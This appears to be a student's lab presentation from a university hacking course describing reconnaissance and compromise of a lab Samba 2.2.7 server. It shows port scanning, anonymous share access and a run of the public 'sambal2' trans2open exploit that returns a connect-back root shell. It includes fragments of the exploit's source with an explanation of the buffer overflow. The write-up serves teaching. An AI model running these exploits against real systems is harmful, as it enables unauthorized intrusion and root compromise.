CS 4010 Hacking

Samba Server Vulnerabilities

Recon• Telnet headers claim the following:

– Red Hat Linux release 9 (Shrike)

– Kernel 2.4.20-8smp on an i686

• nc –v –z 10.216.216.110 135-140– -z specifies that nc just scans for listening daemons

while –v just gives verbose output

– cs4010.cs.uwyo.edu [10.216.216.110] 139 (netbios-ssn) open

– This tells me there is a Samba server running since I already know it is a Linux variant. (Or at least posing as such.)

It begins…

• Knowing from experience and several vulnerability sites that samba is a notoriously unsecure system I began poking around at it even harder:

• smbclient –N //cs4010/IPC$– Allows me to log in anonymously using the

Samba client

smbclient

• Anonymous login successful.• Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.7]

• Now I know what server it’s running and that I can access the server without the necessity of having a password, or any other authentication token

Research

• So, now I know I can access a server on the system that is likely vulnerable, but I don’t know how to do it.

• Security focus provides the answer.– Begin searching for samba vulnerabilities– 2.2.7a is a vulnerable system:

Security Focus

• From past experience I know that this site provides a lot of good security information, in many cases providing specific ‘examples’ of how something is done.

• Going to the vulnerabilities section, begin a search by vendor. We know that the samba server is version 2.7a. This search reveals numerous vulnerabilities:

Samba Vulnerabilities

• So, now there’s a list of vulnerabilities specific to the version of Samba we are connecting to.

• Denial of Service attacks are eliminated, and many require an authenticated user. Since we aren’t authenticated (-N specifies an anonymous connection) we can rule these out as well. The rest are worth trying.

The Exploit

• In the vulnerability ID 7294:– A buffer overflow vulnerability has been reported for Samba.

The problem occurs when copying user-supplied data into a static buffer. By passing excessive data to an affected Samba server, it may be possible for an anonymous user to corrupt sensitive locations in memory.

– Successful exploitation of this issue could allow an attacker to execute arbitrary commands, with the privileges of the Samba process.

BINGO!!!

sambal2.c./sambal2 10.216.216.110 10.216.217.74

Samba < 2.2.8 Remote Root exploit by Schizoprenic

Connect back method, Xnuxer-Labs, 2003.

Usage : ./sambal2 <type> <victim> <your_ip>

Targets:

0 = Linux

1 = FreeBSD/NetBSD

2 = OpenBSD 3.0 and prior

3 = OpenBSD 3.2 - non-exec stack

More sambal2.c[slebeda@netlab04 ~/4010]$ ./sambal2 0 10.216.216.110 10.216.217.74

[+] Listen on port: 45295

[+] Connecting back to: [10.216.217.74:45295]

[+] Target: Linux

[+] Connected to [10.216.216.110:139]

[+] Please wait in seconds...!

[+] Yeah, I have a root ....!

------------------------------

Linux cs401014.cs.uwyo.edu 2.4.20-8smp #1 SMP Thu Mar 13 17:45:54 EST

2003 i686

i686 i386 GNU/Linux

uid=0(root) gid=0(root) groups=99(nobody)

How does it work?

• It’s a standard buffer overflow, as far as I understand.

• There is a weakness in the function trans2_open() in that it does not check user supplied arguments before it shoves them into a buffer of static size.

• So, just like last lecture, we fill the buffer with data so we can overwrite the normal return pointer with our own.

• This combination allows us to execute arbitrary code.

The Source:

char buffer[4000];

char exploit_data[] = "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x90";

This sets everything up for later use. These are the buffers that will be sent to the server, specifically, the trans2open function

Autopsy of a ServerThis will fill the buffer to be sent to the server with a bunch of useless data. 3 hops, 4 bytes of data each time

for (i = 0; i < 4 * 24; i += 8) {

memcpy(buffer + 1099 + i, &dummy, 4);

memcpy(buffer + 1103 + i, &ret, 4);

}

Autopsy ContinuedAfter the buffer has a bunch of filler in it we insert our shellcode:

memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), exploit_data, sizeof(exploit_data) - 1);

memcpy(buffer + 1800, shellcode, strlen(shellcode));

The Why.

The vulnerability exists due to a string operation that copies a client-supplied string to a fixed-size buffer without first comparing the size of the buffer to the length of the string.

The buffer happens to be allocated on the stack during a function call, which means that an overflow can easily overwrite the copy of the instruction pointer that is saved on the stack.

Conclusion

• This was a well known exploit existing because of a buffer overflow vulnerability. With a minimum amount of research and even less work this resulted in a completely compromised system.

• The solution to this vulnerability is also well known, requiring only a minor patch that has been released by all vendors.

Sources

• http://downloads.securityfocus.com/vulnerabilities/exploits/sambal2.c

• http://www.giac.org/practical/GCIH/Byron_Darrah_GCIH.pdf

• http://www.securityfocus.com/bid/7294/info/